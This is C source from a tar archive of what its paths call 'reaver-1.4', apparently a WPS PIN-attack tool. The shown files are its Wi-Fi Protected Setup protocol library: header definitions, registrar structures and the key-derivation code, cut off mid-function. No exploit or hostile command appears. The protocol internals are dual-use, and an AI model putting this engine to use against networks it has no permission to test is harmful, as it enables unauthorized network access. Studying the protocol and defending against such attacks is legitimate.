*/ #ifndef WPS_DEFS_H #define WPS_DEFS_H #define WPS_VERSION 0x10 /* Diffie-Hellman 1536-bit MODP Group; RFC 3526, Group 5 */ #define WPS_DH_GROUP 5 #define WPS_UUID_LEN 16 #define WPS_NONCE_LEN 16 #define WPS_AUTHENTICATOR_LEN 8 #define WPS_AUTHKEY_LEN 32 #define WPS_KEYWRAPKEY_LEN 16 #define WPS_EMSK_LEN 32 #define WPS_PSK_LEN 16 #define WPS_SECRET_NONCE_LEN 16 #define WPS_HASH_LEN 32 #define WPS_KWA_LEN 8 #define WPS_MGMTAUTHKEY_LEN 32 #define WPS_MGMTENCKEY_LEN 16 #define WPS_MGMT_KEY_ID_LEN 16 #define WPS_OOB_DEVICE_PASSWORD_ATTR_LEN 54 #define WPS_OOB_DEVICE_PASSWORD_LEN 32 #define WPS_OOB_PUBKEY_HASH_LEN 20 /* Attribute Types */ enum wps_attribute { ATTR_AP_CHANNEL = 0x1001, ATTR_ASSOC_STATE = 0x1002, ATTR_AUTH_TYPE = 0x1003, ATTR_AUTH_TYPE_FLAGS = 0x1004, ATTR_AUTHENTICATOR = 0x1005, ATTR_CONFIG_METHODS = 0x1008, ATTR_CONFIG_ERROR = 0x1009, ATTR_CONFIRM_URL4 = 0x100a, ATTR_CONFIRM_URL6 = 0x100b, ATTR_CONN_TYPE = 0x100c, ATTR_CONN_TYPE_FLAGS = 0x100d, ATTR_CRED = 0x100e, ATTR_ENCR_TYPE = 0x100f, ATTR_ENCR_TYPE_FLAGS = 0x1010, ATTR_DEV_NAME = 0x1011, ATTR_DEV_PASSWORD_ID = 0x1012, ATTR_E_HASH1 = 0x1014, ATTR_E_HASH2 = 0x1015, ATTR_E_SNONCE1 = 0x1016, ATTR_E_SNONCE2 = 0x1017, ATTR_ENCR_SETTINGS = 0x1018, ATTR_ENROLLEE_NONCE = 0x101a, ATTR_FEATURE_ID = 0x101b, ATTR_IDENTITY = 0x101c, ATTR_IDENTITY_PROOF = 0x101d, ATTR_KEY_WRAP_AUTH = 0x101e, ATTR_KEY_ID = 0x101f, ATTR_MAC_ADDR = 0x1020, ATTR_MANUFACTURER = 0x1021, ATTR_MSG_TYPE = 0x1022, ATTR_MODEL_NAME = 0x1023, ATTR_MODEL_NUMBER = 0x1024, ATTR_NETWORK_INDEX = 0x1026, ATTR_NETWORK_KEY = 0x1027, ATTR_NETWORK_KEY_INDEX = 0x1028, ATTR_NEW_DEVICE_NAME = 0x1029, ATTR_NEW_PASSWORD = 0x102a, ATTR_OOB_DEVICE_PASSWORD = 0x102c, ATTR_OS_VERSION = 0x102d, ATTR_POWER_LEVEL = 0x102f, ATTR_PSK_CURRENT = 0x1030, ATTR_PSK_MAX = 0x1031, ATTR_PUBLIC_KEY = 0x1032, ATTR_RADIO_ENABLE = 0x1033, ATTR_REBOOT = 0x1034, ATTR_REGISTRAR_CURRENT = 0x1035, ATTR_REGISTRAR_ESTABLISHED = 0x1036, ATTR_REGISTRAR_LIST = 0x1037, ATTR_REGISTRAR_MAX = 0x1038, ATTR_REGISTRAR_NONCE = 0x1039, ATTR_REQUEST_TYPE = 0x103a, ATTR_RESPONSE_TYPE = 0x103b, ATTR_RF_BANDS = 0x103c, ATTR_R_HASH1 = 0x103d, ATTR_R_HASH2 = 0x103e, ATTR_R_SNONCE1 = 0x103f, ATTR_R_SNONCE2 = 0x1040, ATTR_SELECTED_REGISTRAR = 0x1041, ATTR_SERIAL_NUMBER = 0x1042, ATTR_WPS_STATE = 0x1044, ATTR_SSID = 0x1045, ATTR_TOTAL_NETWORKS = 0x1046, ATTR_UUID_E = 0x1047, ATTR_UUID_R = 0x1048, ATTR_VENDOR_EXT = 0x1049, ATTR_VERSION = 0x104a, ATTR_X509_CERT_REQ = 0x104b, ATTR_X509_CERT = 0x104c, ATTR_EAP_IDENTITY = 0x104d, ATTR_MSG_COUNTER = 0x104e, ATTR_PUBKEY_HASH = 0x104f, ATTR_REKEY_KEY = 0x1050, ATTR_KEY_LIFETIME = 0x1051, ATTR_PERMITTED_CFG_METHODS = 0x1052, ATTR_SELECTED_REGISTRAR_CONFIG_METHODS = 0x1053, ATTR_PRIMARY_DEV_TYPE = 0x1054, ATTR_SECONDARY_DEV_TYPE_LIST = 0x1055, ATTR_PORTABLE_DEV = 0x1056, ATTR_AP_SETUP_LOCKED = 0x1057, ATTR_APPLICATION_EXT = 0x1058, ATTR_EAP_TYPE = 0x1059, ATTR_IV = 0x1060, ATTR_KEY_PROVIDED_AUTO = 0x1061, ATTR_802_1X_ENABLED = 0x1062, ATTR_APPSESSIONKEY = 0x1063, ATTR_WEPTRANSMITKEY = 0x1064 }; /* Device Password ID */ enum wps_dev_password_id { DEV_PW_DEFAULT = 0x0000, DEV_PW_USER_SPECIFIED = 0x0001, DEV_PW_MACHINE_SPECIFIED = 0x0002, DEV_PW_REKEY = 0x0003, DEV_PW_PUSHBUTTON = 0x0004, DEV_PW_REGISTRAR_SPECIFIED = 0x0005 }; /* Message Type */ enum wps_msg_type { WPS_Beacon = 0x01, WPS_ProbeRequest = 0x02, WPS_ProbeResponse = 0x03, WPS_M1 = 0x04, WPS_M2 = 0x05, WPS_M2D = 0x06, WPS_M3 = 0x07, WPS_M4 = 0x08, WPS_M5 = 0x09, WPS_M6 = 0x0a, WPS_M7 = 0x0b, WPS_M8 = 0x0c, WPS_WSC_ACK = 0x0d, WPS_WSC_NACK = 0x0e, WPS_WSC_DONE = 0x0f }; /* Authentication Type Flags */ #define WPS_AUTH_OPEN 0x0001 #define WPS_AUTH_WPAPSK 0x0002 #define WPS_AUTH_SHARED 0x0004 #define WPS_AUTH_WPA 0x0008 #define WPS_AUTH_WPA2 0x0010 #define WPS_AUTH_WPA2PSK 0x0020 #define WPS_AUTH_TYPES (WPS_AUTH_OPEN | WPS_AUTH_WPAPSK | WPS_AUTH_SHARED | \ WPS_AUTH_WPA | WPS_AUTH_WPA2 | WPS_AUTH_WPA2PSK) /* Encryption Type Flags */ #define WPS_ENCR_NONE 0x0001 #define WPS_ENCR_WEP 0x0002 #define WPS_ENCR_TKIP 0x0004 #define WPS_ENCR_AES 0x0008 #define WPS_ENCR_TYPES (WPS_ENCR_NONE | WPS_ENCR_WEP | WPS_ENCR_TKIP | \ WPS_ENCR_AES) /* Configuration Error */ enum wps_config_error { WPS_CFG_NO_ERROR = 0, WPS_CFG_OOB_IFACE_READ_ERROR = 1, WPS_CFG_DECRYPTION_CRC_FAILURE = 2, WPS_CFG_24_CHAN_NOT_SUPPORTED = 3, WPS_CFG_50_CHAN_NOT_SUPPORTED = 4, WPS_CFG_SIGNAL_TOO_WEAK = 5, WPS_CFG_NETWORK_AUTH_FAILURE = 6, WPS_CFG_NETWORK_ASSOC_FAILURE = 7, WPS_CFG_NO_DHCP_RESPONSE = 8, WPS_CFG_FAILED_DHCP_CONFIG = 9, WPS_CFG_IP_ADDR_CONFLICT = 10, WPS_CFG_NO_CONN_TO_REGISTRAR = 11, WPS_CFG_MULTIPLE_PBC_DETECTED = 12, WPS_CFG_ROGUE_SUSPECTED = 13, WPS_CFG_DEVICE_BUSY = 14, WPS_CFG_SETUP_LOCKED = 15, WPS_CFG_MSG_TIMEOUT = 16, WPS_CFG_REG_SESS_TIMEOUT = 17, WPS_CFG_DEV_PASSWORD_AUTH_FAILURE = 18 }; /* RF Bands */ #define WPS_RF_24GHZ 0x01 #define WPS_RF_50GHZ 0x02 /* Config Methods */ #define WPS_CONFIG_USBA 0x0001 #define WPS_CONFIG_ETHERNET 0x0002 #define WPS_CONFIG_LABEL 0x0004 #define WPS_CONFIG_DISPLAY 0x0008 #define WPS_CONFIG_EXT_NFC_TOKEN 0x0010 #define WPS_CONFIG_INT_NFC_TOKEN 0x0020 #define WPS_CONFIG_NFC_INTERFACE 0x0040 #define WPS_CONFIG_PUSHBUTTON 0x0080 #define WPS_CONFIG_KEYPAD 0x0100 /* Connection Type Flags */ #define WPS_CONN_ESS 0x01 #define WPS_CONN_IBSS 0x02 /* Wi-Fi Protected Setup State */ enum wps_state { WPS_STATE_NOT_CONFIGURED = 1, WPS_STATE_CONFIGURED = 2 }; /* Association State */ enum wps_assoc_state { WPS_ASSOC_NOT_ASSOC = 0, WPS_ASSOC_CONN_SUCCESS = 1, WPS_ASSOC_CFG_FAILURE = 2, WPS_ASSOC_FAILURE = 3, WPS_ASSOC_IP_FAILURE = 4 }; #define WPS_DEV_OUI_WFA 0x0050f204 enum wps_dev_categ { WPS_DEV_COMPUTER = 1, WPS_DEV_INPUT = 2, WPS_DEV_PRINTER = 3, WPS_DEV_CAMERA = 4, WPS_DEV_STORAGE = 5, WPS_DEV_NETWORK_INFRA = 6, WPS_DEV_DISPLAY = 7, WPS_DEV_MULTIMEDIA = 8, WPS_DEV_GAMING = 9, WPS_DEV_PHONE = 10 }; enum wps_dev_subcateg { WPS_DEV_COMPUTER_PC = 1, WPS_DEV_COMPUTER_SERVER = 2, WPS_DEV_COMPUTER_MEDIA_CENTER = 3, WPS_DEV_PRINTER_PRINTER = 1, WPS_DEV_PRINTER_SCANNER = 2, WPS_DEV_CAMERA_DIGITAL_STILL_CAMERA = 1, WPS_DEV_STORAGE_NAS = 1, WPS_DEV_NETWORK_INFRA_AP = 1, WPS_DEV_NETWORK_INFRA_ROUTER = 2, WPS_DEV_NETWORK_INFRA_SWITCH = 3, WPS_DEV_DISPLAY_TV = 1, WPS_DEV_DISPLAY_PICTURE_FRAME = 2, WPS_DEV_DISPLAY_PROJECTOR = 3, WPS_DEV_MULTIMEDIA_DAR = 1, WPS_DEV_MULTIMEDIA_PVR = 2, WPS_DEV_MULTIMEDIA_MCX = 3, WPS_DEV_GAMING_XBOX = 1, WPS_DEV_GAMING_XBOX360 = 2, WPS_DEV_GAMING_PLAYSTATION = 3, WPS_DEV_PHONE_WINDOWS_MOBILE = 1 }; /* Request Type */ enum wps_request_type { WPS_REQ_ENROLLEE_INFO = 0, WPS_REQ_ENROLLEE = 1, WPS_REQ_REGISTRAR = 2, WPS_REQ_WLAN_MANAGER_REGISTRAR = 3 }; /* Response Type */ enum wps_response_type { WPS_RESP_ENROLLEE_INFO = 0, WPS_RESP_ENROLLEE = 1, WPS_RESP_REGISTRAR = 2, WPS_RESP_AP = 3 }; /* Walk Time for push button configuration (in seconds) */ #define WPS_PBC_WALK_TIME 120 #endif /* WPS_DEFS_H */ reaver-1.4/src/wps/wps.h0000755000175000017500000004500611705505257014575 0ustar reaverreaver/* * Wi-Fi Protected Setup * Copyright (c) 2007-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef WPS_H #define WPS_H #include "wps_defs.h" /** * enum wsc_op_code - EAP-WSC OP-Code values */ enum wsc_op_code { WSC_UPnP = 0 /* No OP Code in UPnP transport */, WSC_Start = 0x01, WSC_ACK = 0x02, WSC_NACK = 0x03, WSC_MSG = 0x04, WSC_Done = 0x05, WSC_FRAG_ACK = 0x06 }; struct wps_registrar; struct upnp_wps_device_sm; struct wps_er; /** * struct wps_credential - WPS Credential * @ssid: SSID * @ssid_len: Length of SSID * @auth_type: Authentication Type (WPS_AUTH_OPEN, .. flags) * @encr_type: Encryption Type (WPS_ENCR_NONE, .. flags) * @key_idx: Key index * @key: Key * @key_len: Key length in octets * @mac_addr: MAC address of the Credential receiver * @cred_attr: Unparsed Credential attribute data (used only in cred_cb()); * this may be %NULL, if not used * @cred_attr_len: Length of cred_attr in octets */ struct wps_credential { u8 ssid[32]; size_t ssid_len; u16 auth_type; u16 encr_type; u8 key_idx; u8 key[64]; size_t key_len; u8 mac_addr[ETH_ALEN]; const u8 *cred_attr; size_t cred_attr_len; }; #define WPS_DEV_TYPE_LEN 8 #define WPS_DEV_TYPE_BUFSIZE 21 /** * struct wps_device_data - WPS Device Data * @mac_addr: Device MAC address * @device_name: Device Name (0..32 octets encoded in UTF-8) * @manufacturer: Manufacturer (0..64 octets encoded in UTF-8) * @model_name: Model Name (0..32 octets encoded in UTF-8) * @model_number: Model Number (0..32 octets encoded in UTF-8) * @serial_number: Serial Number (0..32 octets encoded in UTF-8) * @pri_dev_type: Primary Device Type * @os_version: OS Version * @rf_bands: RF bands (WPS_RF_24GHZ, WPS_RF_50GHZ flags) */ struct wps_device_data { u8 mac_addr[ETH_ALEN]; char *device_name; char *manufacturer; char *model_name; char *model_number; char *serial_number; u8 pri_dev_type[WPS_DEV_TYPE_LEN]; u32 os_version; u8 rf_bands; }; struct oob_conf_data { enum { OOB_METHOD_UNKNOWN = 0, OOB_METHOD_DEV_PWD_E, OOB_METHOD_DEV_PWD_R, OOB_METHOD_CRED } oob_method; struct wpabuf *dev_password; struct wpabuf *pubkey_hash; }; /** * struct wps_config - WPS configuration for a single registration protocol run */ struct wps_config { /** * wps - Pointer to long term WPS context */ struct wps_context *wps; /** * registrar - Whether this end is a Registrar */ int registrar; /** * pin - Enrollee Device Password (%NULL for Registrar or PBC) */ const u8 *pin; /** * pin_len - Length on pin in octets */ size_t pin_len; /** * pbc - Whether this is protocol run uses PBC */ int pbc; /** * assoc_wps_ie: (Re)AssocReq WPS IE (in AP; %NULL if not AP) */ const struct wpabuf *assoc_wps_ie; /** * new_ap_settings - New AP settings (%NULL if not used) * * This parameter provides new AP settings when using a wireless * stations as a Registrar to configure the AP. %NULL means that AP * will not be reconfigured, i.e., the station will only learn the * current AP settings by using AP PIN. */ const struct wps_credential *new_ap_settings; /** * peer_addr: MAC address of the peer in AP; %NULL if not AP */ const u8 *peer_addr; /** * use_psk_key - Use PSK format key in Credential * * Force PSK format to be used instead of ASCII passphrase when * building Credential for an Enrollee. The PSK value is set in * struct wpa_context::psk. */ int use_psk_key; }; struct wps_data * wps_init(const struct wps_config *cfg); void wps_deinit(struct wps_data *data); /** * enum wps_process_res - WPS message processing result */ enum wps_process_res { /** * WPS_DONE - Processing done */ WPS_DONE, /** * WPS_CONTINUE - Processing continues */ WPS_CONTINUE, /** * WPS_FAILURE - Processing failed */ WPS_FAILURE, /** * WPS_PENDING - Processing continues, but waiting for an external * event (e.g., UPnP message from an external Registrar) */ WPS_PENDING }; enum wps_process_res wps_process_msg(struct wps_data *wps, enum wsc_op_code op_code, const struct wpabuf *msg); struct wpabuf * wps_get_msg(struct wps_data *wps, enum wsc_op_code *op_code); int wps_is_selected_pbc_registrar(const struct wpabuf *msg); int wps_is_selected_pin_registrar(const struct wpabuf *msg); const u8 * wps_get_uuid_e(const struct wpabuf *msg); struct wpabuf * wps_build_assoc_req_ie(enum wps_request_type req_type); struct wpabuf * wps_build_assoc_resp_ie(void); struct wpabuf * wps_build_probe_req_ie(int pbc, struct wps_device_data *dev, const u8 *uuid, enum wps_request_type req_type); /** * struct wps_registrar_config - WPS Registrar configuration */ struct wps_registrar_config { /** * new_psk_cb - Callback for new PSK * @ctx: Higher layer context data (cb_ctx) * @mac_addr: MAC address of the Enrollee * @psk: The new PSK * @psk_len: The length of psk in octets * Returns: 0 on success, -1 on failure * * This callback is called when a new per-device PSK is provisioned. */ int (*new_psk_cb)(void *ctx, const u8 *mac_addr, const u8 *psk, size_t psk_len); /** * set_ie_cb - Callback for WPS IE changes * @ctx: Higher layer context data (cb_ctx) * @beacon_ie: WPS IE for Beacon * @probe_resp_ie: WPS IE for Probe Response * Returns: 0 on success, -1 on failure * * This callback is called whenever the WPS IE in Beacon or Probe * Response frames needs to be changed (AP only). Callee is responsible * for freeing the buffers. */ int (*set_ie_cb)(void *ctx, struct wpabuf *beacon_ie, struct wpabuf *probe_resp_ie); /** * pin_needed_cb - Callback for requesting a PIN * @ctx: Higher layer context data (cb_ctx) * @uuid_e: UUID-E of the unknown Enrollee * @dev: Device Data from the unknown Enrollee * * This callback is called whenever an unknown Enrollee requests to use * PIN method and a matching PIN (Device Password) is not found in * Registrar data. */ void (*pin_needed_cb)(void *ctx, const u8 *uuid_e, const struct wps_device_data *dev); /** * reg_success_cb - Callback for reporting successful registration * @ctx: Higher layer context data (cb_ctx) * @mac_addr: MAC address of the Enrollee * @uuid_e: UUID-E of the Enrollee * * This callback is called whenever an Enrollee completes registration * successfully. */ void (*reg_success_cb)(void *ctx, const u8 *mac_addr, const u8 *uuid_e); /** * set_sel_reg_cb - Callback for reporting selected registrar changes * @ctx: Higher layer context data (cb_ctx) * @sel_reg: Whether the Registrar is selected * @dev_passwd_id: Device Password ID to indicate with method or * specific password the Registrar intends to use * @sel_reg_config_methods: Bit field of active config methods * * This callback is called whenever the Selected Registrar state * changes (e.g., a new PIN becomes available or PBC is invoked). This * callback is only used by External Registrar implementation; * set_ie_cb() is used by AP implementation in similar caes, but it * provides the full WPS IE data instead of just the minimal Registrar * state information. */ void (*set_sel_reg_cb)(void *ctx, int sel_reg, u16 dev_passwd_id, u16 sel_reg_config_methods); /** * enrollee_seen_cb - Callback for reporting Enrollee based on ProbeReq * @ctx: Higher layer context data (cb_ctx) * @addr: MAC address of the Enrollee * @uuid_e: UUID of the Enrollee * @pri_dev_type: Primary device type * @config_methods: Config Methods * @dev_password_id: Device Password ID * @request_type: Request Type * @dev_name: Device Name (if available) */ void (*enrollee_seen_cb)(void *ctx, const u8 *addr, const u8 *uuid_e, const u8 *pri_dev_type, u16 config_methods, u16 dev_password_id, u8 request_type, const char *dev_name); /** * cb_ctx: Higher layer context data for Registrar callbacks */ void *cb_ctx; /** * skip_cred_build: Do not build credential * * This option can be used to disable internal code that builds * Credential attribute into M8 based on the current network * configuration and Enrollee capabilities. The extra_cred data will * then be used as the Credential(s). */ int skip_cred_build; /** * extra_cred: Additional Credential attribute(s) * * This optional data (set to %NULL to disable) can be used to add * Credential attribute(s) for other networks into M8. If * skip_cred_build is set, this will also override the automatically * generated Credential attribute. */ const u8 *extra_cred; /** * extra_cred_len: Length of extra_cred in octets */ size_t extra_cred_len; /** * disable_auto_conf - Disable auto-configuration on first registration * * By default, the AP that is started in not configured state will * generate a random PSK and move to configured state when the first * registration protocol run is completed successfully. This option can * be used to disable this functionality and leave it up to an external * program to take care of configuration. This requires the extra_cred * to be set with a suitable Credential and skip_cred_build being used. */ int disable_auto_conf; /** * static_wep_only - Whether the BSS supports only static WEP */ int static_wep_only; }; /** * enum wps_event - WPS event types */ enum wps_event { /** * WPS_EV_M2D - M2D received (Registrar did not know us) */ WPS_EV_M2D, /** * WPS_EV_FAIL - Registration failed */ WPS_EV_FAIL, /** * WPS_EV_SUCCESS - Registration succeeded */ WPS_EV_SUCCESS, /** * WPS_EV_PWD_AUTH_FAIL - Password authentication failed */ WPS_EV_PWD_AUTH_FAIL, /** * WPS_EV_PBC_OVERLAP - PBC session overlap detected */ WPS_EV_PBC_OVERLAP, /** * WPS_EV_PBC_TIMEOUT - PBC walktime expired before protocol run start */ WPS_EV_PBC_TIMEOUT, /** * WPS_EV_ER_AP_ADD - ER: AP added */ WPS_EV_ER_AP_ADD, /** * WPS_EV_ER_AP_REMOVE - ER: AP removed */ WPS_EV_ER_AP_REMOVE, /** * WPS_EV_ER_ENROLLEE_ADD - ER: Enrollee added */ WPS_EV_ER_ENROLLEE_ADD, /** * WPS_EV_ER_ENROLLEE_REMOVE - ER: Enrollee removed */ WPS_EV_ER_ENROLLEE_REMOVE }; /** * union wps_event_data - WPS event data */ union wps_event_data { /** * struct wps_event_m2d - M2D event data */ struct wps_event_m2d { u16 config_methods; const u8 *manufacturer; size_t manufacturer_len; const u8 *model_name; size_t model_name_len; const u8 *model_number; size_t model_number_len; const u8 *serial_number; size_t serial_number_len; const u8 *dev_name; size_t dev_name_len; const u8 *primary_dev_type; /* 8 octets */ u16 config_error; u16 dev_password_id; } m2d; /** * struct wps_event_fail - Registration failure information * @msg: enum wps_msg_type */ struct wps_event_fail { int msg; } fail; struct wps_event_pwd_auth_fail { int enrollee; int part; } pwd_auth_fail; struct wps_event_er_ap { const u8 *uuid; const u8 *mac_addr; const char *friendly_name; const char *manufacturer; const char *manufacturer_url; const char *model_description; const char *model_name; const char *model_number; const char *model_url; const char *serial_number; const char *upc; const u8 *pri_dev_type; u8 wps_state; } ap; struct wps_event_er_enrollee { const u8 *uuid; const u8 *mac_addr; int m1_received; u16 config_methods; u16 dev_passwd_id; const u8 *pri_dev_type; const char *dev_name; const char *manufacturer; const char *model_name; const char *model_number; const char *serial_number; } enrollee; }; /** * struct upnp_pending_message - Pending PutWLANResponse messages * @next: Pointer to next pending message or %NULL * @addr: NewWLANEventMAC * @msg: NewMessage * @type: Message Type */ struct upnp_pending_message { struct upnp_pending_message *next; u8 addr[ETH_ALEN]; struct wpabuf *msg; enum wps_msg_type type; }; /** * struct wps_context - Long term WPS context data * * This data is stored at the higher layer Authenticator or Supplicant data * structures and it is maintained over multiple registration protocol runs. */ struct wps_context { /** * ap - Whether the local end is an access point */ int ap; /** * registrar - Pointer to WPS registrar data from wps_registrar_init() */ struct wps_registrar *registrar; /** * wps_state - Current WPS state */ enum wps_state wps_state; /** * ap_setup_locked - Whether AP setup is locked (only used at AP) */ int ap_setup_locked; /** * uuid - Own UUID */ u8 uuid[16]; /** * ssid - SSID * * This SSID is used by the Registrar to fill in information for * Credentials. In addition, AP uses it when acting as an Enrollee to * notify Registrar of the current configuration. */ u8 ssid[32]; /** * ssid_len - Length of ssid in octets */ size_t ssid_len; /** * dev - Own WPS device data */ struct wps_device_data dev; /** * oob_conf - OOB Config data */ struct oob_conf_data oob_conf; /** * oob_dev_pw_id - OOB Device password id */ u16 oob_dev_pw_id; /** * dh_ctx - Context data for Diffie-Hellman operation */ void *dh_ctx; /** * dh_privkey - Diffie-Hellman private key */ struct wpabuf *dh_privkey; /** * dh_pubkey_oob - Diffie-Hellman public key */ struct wpabuf *dh_pubkey; /** * config_methods - Enabled configuration methods * * Bit field of WPS_CONFIG_* */ u16 config_methods; /** * encr_types - Enabled encryption types (bit field of WPS_ENCR_*) */ u16 encr_types; /** * auth_types - Authentication types (bit field of WPS_AUTH_*) */ u16 auth_types; /** * network_key - The current Network Key (PSK) or %NULL to generate new * * If %NULL, Registrar will generate per-device PSK. In addition, AP * uses this when acting as an Enrollee to notify Registrar of the * current configuration. * * When using WPA/WPA2-Person, this key can be either the ASCII * passphrase (8..63 characters) or the 32-octet PSK (64 hex * characters). When this is set to the ASCII passphrase, the PSK can * be provided in the psk buffer and used per-Enrollee to control which * key type is included in the Credential (e.g., to reduce calculation * need on low-powered devices by provisioning PSK while still allowing * other devices to get the passphrase). */ u8 *network_key; /** * network_key_len - Length of network_key in octets */ size_t network_key_len; /** * psk - The current network PSK * * This optional value can be used to provide the current PSK if * network_key is set to the ASCII passphrase. */ u8 psk[32]; /** * psk_set - Whether psk value is set */ int psk_set; /** * ap_settings - AP Settings override for M7 (only used at AP) * * If %NULL, AP Settings attributes will be generated based on the * current network configuration. */ u8 *ap_settings; /** * ap_settings_len - Length of ap_settings in octets */ size_t ap_settings_len; /** * friendly_name - Friendly Name (required for UPnP) */ char *friendly_name; /** * manufacturer_url - Manufacturer URL (optional for UPnP) */ char *manufacturer_url; /** * model_description - Model Description (recommended for UPnP) */ char *model_description; /** * model_url - Model URL (optional for UPnP) */ char *model_url; /** * upc - Universal Product Code (optional for UPnP) */ char *upc; /** * cred_cb - Callback to notify that new Credentials were received * @ctx: Higher layer context data (cb_ctx) * @cred: The received Credential * Return: 0 on success, -1 on failure */ int (*cred_cb)(void *ctx, const struct wps_credential *cred); /** * event_cb - Event callback (state information about progress) * @ctx: Higher layer context data (cb_ctx) * @event: Event type * @data: Event data */ void (*event_cb)(void *ctx, enum wps_event event, union wps_event_data *data); /** * cb_ctx: Higher layer context data for callbacks */ void *cb_ctx; struct upnp_wps_device_sm *wps_upnp; /* Pending messages from UPnP PutWLANResponse */ struct upnp_pending_message *upnp_msgs; }; struct oob_device_data { char *device_name; char *device_path; void * (*init_func)(struct wps_context *, struct oob_device_data *, int); struct wpabuf * (*read_func)(void *); int (*write_func)(void *, struct wpabuf *); void (*deinit_func)(void *); }; struct oob_nfc_device_data { int (*init_func)(char *); void * (*read_func)(size_t *); int (*write_func)(void *, size_t); void (*deinit_func)(void); }; struct wps_registrar * wps_registrar_init(struct wps_context *wps, const struct wps_registrar_config *cfg); void wps_registrar_deinit(struct wps_registrar *reg); int wps_registrar_add_pin(struct wps_registrar *reg, const u8 *uuid, const u8 *pin, size_t pin_len, int timeout); int wps_registrar_invalidate_pin(struct wps_registrar *reg, const u8 *uuid); int wps_registrar_unlock_pin(struct wps_registrar *reg, const u8 *uuid); int wps_registrar_button_pushed(struct wps_registrar *reg); void wps_registrar_probe_req_rx(struct wps_registrar *reg, const u8 *addr, const struct wpabuf *wps_data); int wps_registrar_update_ie(struct wps_registrar *reg); int wps_registrar_get_info(struct wps_registrar *reg, const u8 *addr, char *buf, size_t buflen); unsigned int wps_pin_checksum(unsigned int pin); unsigned int wps_pin_valid(unsigned int pin); unsigned int wps_generate_pin(void); void wps_free_pending_msgs(struct upnp_pending_message *msgs); struct oob_device_data * wps_get_oob_device(char *device_type); struct oob_nfc_device_data * wps_get_oob_nfc_device(char *device_name); int wps_get_oob_method(char *method); int wps_process_oob(struct wps_context *wps, struct oob_device_data *oob_dev, int registrar); int wps_attr_text(struct wpabuf *data, char *buf, char *end); struct wps_er * wps_er_init(struct wps_context *wps, const char *ifname); void wps_er_refresh(struct wps_er *er); void wps_er_deinit(struct wps_er *er, void (*cb)(void *ctx), void *ctx); void wps_er_set_sel_reg(struct wps_er *er, int sel_reg, u16 dev_passwd_id, u16 sel_reg_config_methods); int wps_er_pbc(struct wps_er *er, const u8 *uuid); int wps_er_learn(struct wps_er *er, const u8 *uuid, const u8 *pin, size_t pin_len); int wps_dev_type_str2bin(const char *str, u8 dev_type[WPS_DEV_TYPE_LEN]); char * wps_dev_type_bin2str(const u8 dev_type[WPS_DEV_TYPE_LEN], char *buf, size_t buf_len); void uuid_gen_mac_addr(const u8 *mac_addr, u8 *uuid); u16 wps_config_methods_str2bin(const char *str); #endif /* WPS_H */ reaver-1.4/src/wps/wps_common.c0000755000175000017500000003557511705505257016152 0ustar reaverreaver/* * Wi-Fi Protected Setup - common functionality * Copyright (c) 2008-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "crypto/aes_wrap.h" #include "crypto/crypto.h" #include "crypto/dh_group5.h" #include "crypto/sha1.h" #include "crypto/sha256.h" #include "wps_i.h" #include "wps_dev_attr.h" void wps_kdf(const u8 *key, const u8 *label_prefix, size_t label_prefix_len, const char *label, u8 *res, size_t res_len) { u8 i_buf[4], key_bits[4]; const u8 *addr[4]; size_t len[4]; int i, iter; u8 hash[SHA256_MAC_LEN], *opos; size_t left; WPA_PUT_BE32(key_bits, res_len * 8); addr[0] = i_buf; len[0] = sizeof(i_buf); addr[1] = label_prefix; len[1] = label_prefix_len; addr[2] = (const u8 *) label; len[2] = os_strlen(label); addr[3] = key_bits; len[3] = sizeof(key_bits); iter = (res_len + SHA256_MAC_LEN - 1) / SHA256_MAC_LEN; opos = res; left = res_len; for (i = 1; i <= iter; i++) { WPA_PUT_BE32(i_buf, i); hmac_sha256_vector(key, SHA256_MAC_LEN, 4, addr, len, hash); if (i < iter) { os_memcpy(opos, hash, SHA256_MAC_LEN); opos += SHA256_MAC_LEN; left -= SHA256_MAC_LEN; } else os_memcpy(opos, hash, left); } } int wps_derive_keys(struct wps_data *wps) { struct wpabuf *pubkey, *dh_shared; u8 dhkey[SHA256_MAC_LEN], kdk[SHA256_MAC_LEN]; const u8 *addr[3]; size_t len[3]; u8 keys[WPS_AUTHKEY_LEN + WPS_KEYWRAPKEY_LEN + WPS_EMSK_LEN]; if (wps->dh_privkey == NULL) { wpa_printf(MSG_DEBUG, "WPS: Own DH private key not available"); return -1; } pubkey = wps->registrar ? wps->dh_pubkey_e : wps->dh_pubkey_r; if (pubkey == NULL) { wpa_printf(MSG_DEBUG, "WPS: Peer DH public key not available"); return -1; } dh_shared = dh5_derive_shared(wps->dh_ctx, pubkey, wps->dh_privkey); dh5_free(wps->dh_ctx); wps->dh_ctx = NULL; dh_shared = wpabuf_zeropad(dh_shared, 192); if (dh_shared == NULL) { wpa_printf(MSG_DEBUG, "WPS: Failed to derive DH shared key"); return -1; } /* Own DH private key is not needed anymore */ wpabuf_free(wps->dh_privkey); wps->dh_privkey = NULL; wpa_hexdump_buf_key(MSG_DEBUG, "WPS: DH shared key", dh_shared); /* DHKey = SHA-256(g^AB mod p) */ addr[0] = wpabuf_head(dh_shared); len[0] = wpabuf_len(dh_shared); sha256_vector(1, addr, len, dhkey); wpa_hexdump_key(MSG_DEBUG, "WPS: DHKey", dhkey, sizeof(dhkey)); wpabuf_free(dh_shared); /* KDK = HMAC-SHA-256_DHKey(N1 || EnrolleeMAC || N2) */ addr[0] = wps->nonce_e; len[0] = WPS_NONCE_LEN; addr[1] = wps->mac_addr_e; len[1] = ETH_ALEN; addr[2] = wps->nonce_r; len[2] = WPS_NONCE_LEN; hmac_sha256_vector(dhkey, sizeof(dhkey), 3, addr, len, kdk); wpa_hexdump_key(MSG_DEBUG, "WPS: KDK", kdk, sizeof(kdk)); wps_kdf(kdk, NULL, 0, "Wi-Fi Easy and Secure Key Derivation", keys, sizeof(keys)); os_memcpy(wps->authkey, keys, WPS_AUTHKEY_LEN); os_memcpy(wps->keywrapkey, keys + WPS_AUTHKEY_LEN, WPS_KEYWRAPKEY_LEN); os_memcpy(wps->emsk, keys + WPS_AUTHKEY_LEN + WPS_KEYWRAPKEY_LEN, WPS_EMSK_LEN); 